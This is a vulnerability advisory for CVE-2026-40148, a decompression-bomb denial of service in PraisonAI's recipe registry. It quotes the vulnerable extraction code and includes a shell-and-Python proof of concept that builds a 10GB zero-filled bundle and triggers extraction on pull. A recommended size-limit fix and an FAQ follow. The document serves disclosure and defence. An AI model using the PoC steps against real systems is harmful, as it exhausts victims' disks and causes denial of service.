CVE-2026-40148: PraisonAI Affected by Decompression Bomb DoS via Recipe Bundle Extraction Without Size Limits
Summary
The safeextractall() function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling tar.extractall(). An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via LocalRegistry.pull() or HttpRegistry.pull().
Details
The vulnerable function is safeextractall() at src/praisonai/praisonai/recipe/registry.py:131-162:
python def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: destresolved = destdir.resolve() for member in tar.getmembers(): memberpath = Path(member.name) # Reject absolute paths if memberpath.isabsolute(): raise RegistryError(...) # Reject '..' components if '..' in memberpath.parts: raise RegistryError(...) # Reject resolved paths escaping destdir resolved = (destresolved / memberpath).resolve() if not str(resolved).startswith(str(destresolved) + os.sep) and resolved != destresolved: raise RegistryError(...) # All members validated — safe to extract tar.extractall(destdir) # <-- No size limit
The function iterates all tar members and checks for path traversal (absolute paths, .. components, resolved path escaping), but never inspects member.size. The TarInfo.size attribute is available on every member and represents the uncompressed size, but it is never read.
This function is called from two locations: - LocalRegistry.pull() at line 396-397 - HttpRegistry.pull() at line 791-792
The publish() method at line 296-298 only copies the compressed bundle via shutil.copy2(), so the bomb only detonates when a victim calls pull().
No size limits, upload quotas, or decompression guards exist anywhere in the registry module.
PoC
bash Step 1: Create a malicious recipe bundle mkdir bomb && cd bomb
cat > manifest.json << 'EOF' {"name": "useful-recipe", "version": "1.0.0", "description": "Helpful AI recipe", "tags": ["ai"], "files": ["agent.yaml"]} EOF
Create a 10GB file of zeros (compresses to ~10MB with gzip) dd if=/dev/zero of=agent.yaml bs=1M count=10240
Bundle it as a .praison file tar czf ../useful-recipe-1.0.0.praison manifest.json agent.yaml cd ..
Step 2: Publish to local registry (~10MB stored) python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.publish('useful-recipe-1.0.0.praison') "
Step 3: Victim pulls — extracts 10GB to disk python -c " from praisonai.recipe.registry import LocalRegistry reg = LocalRegistry() reg.pull('useful-recipe') " Result: 10GB+ written to disk, potential disk exhaustion
Impact
- Disk exhaustion: A small compressed bundle (~10MB) can extract to 10GB+ of data, filling the victim's disk and causing denial of service for PraisonAI and potentially other applications on the same system. - No authentication required: The local registry has no access controls on publish(), and HTTP registry bundles are fetched from remote servers that the attacker controls. - Silent detonation: The extraction happens automatically during pull() with no progress indication or size warning to the user.
Recommended Fix
Add a maximum extraction size limit to safeextractall():
python MAXEXTRACTSIZE = 500 1024 1024 # 500MB MAXMEMBERCOUNT = 1000
def safeextractall(tar: tarfile.TarFile, destdir: Path) -> None: destresolved = destdir.resolve() members = tar.getmembers() if len(members) > MAXMEMBERCOUNT: raise RegistryError( f"Archive contains too many members ({len(members)} > {MAXMEMBERCOUNT})" ) totalsize = 0 for member in members: memberpath = Path(member.name) if memberpath.isabsolute(): raise RegistryError( f"Refusing to extract absolute path in archive: {member.name}" ) if '..' in memberpath.parts: raise RegistryError( f"Refusing to extract path traversal in archive: {member.name}" ) resolved = (destresolved / memberpath).resolve() if not str(resolved).startswith(str(destresolved) + os.sep) and resolved != destresolved: raise RegistryError( f"Refusing to extract path escaping target directory: {member.name}" ) totalsize += member.size if totalsize > MAXEXTRACTSIZE: raise RegistryError( f"Archive extraction would exceed size limit " f"({totalsize} > {MAXEXTRACTSIZE} bytes)" ) tar.extractall(destdir)
Other sources
PraisonAI is a multi-agent teams system. Prior to 4.5.128, the safeextractall() function in PraisonAI's recipe registry validates archive members against path traversal attacks but performs no checks on individual member sizes, cumulative extracted size, or member count before calling tar.extractall(). An attacker can publish a malicious recipe bundle containing highly compressible data (e.g., 10GB of zeros compressing to ~10MB) that exhausts the victim's disk when pulled via LocalRegistry.pull() or HttpRegistry.pull(). This vulnerability is fixed in 4.5.128.
— MITRE
Affected Software
Event History
Frequently Asked Questions
What is the severity of CVE-2026-40148?
CVE-2026-40148 is classified as a DoS vulnerability due to its potential for creating decompression bomb attacks.
How do I fix CVE-2026-40148?
To mitigate CVE-2026-40148, upgrade to PraisonAI version 4.5.128 or later.
What impact does CVE-2026-40148 have on my system?
CVE-2026-40148 allows an attacker to exhaust system resources via overly large archive files, potentially leading to a denial of service.
Is CVE-2026-40148 exploitation easy to perform?
Exploiting CVE-2026-40148 may be simple since it involves submitting a specially crafted archive file to the application.
Which versions of PraisonAI are affected by CVE-2026-40148?
CVE-2026-40148 affects all versions of PraisonAI prior to 4.5.128.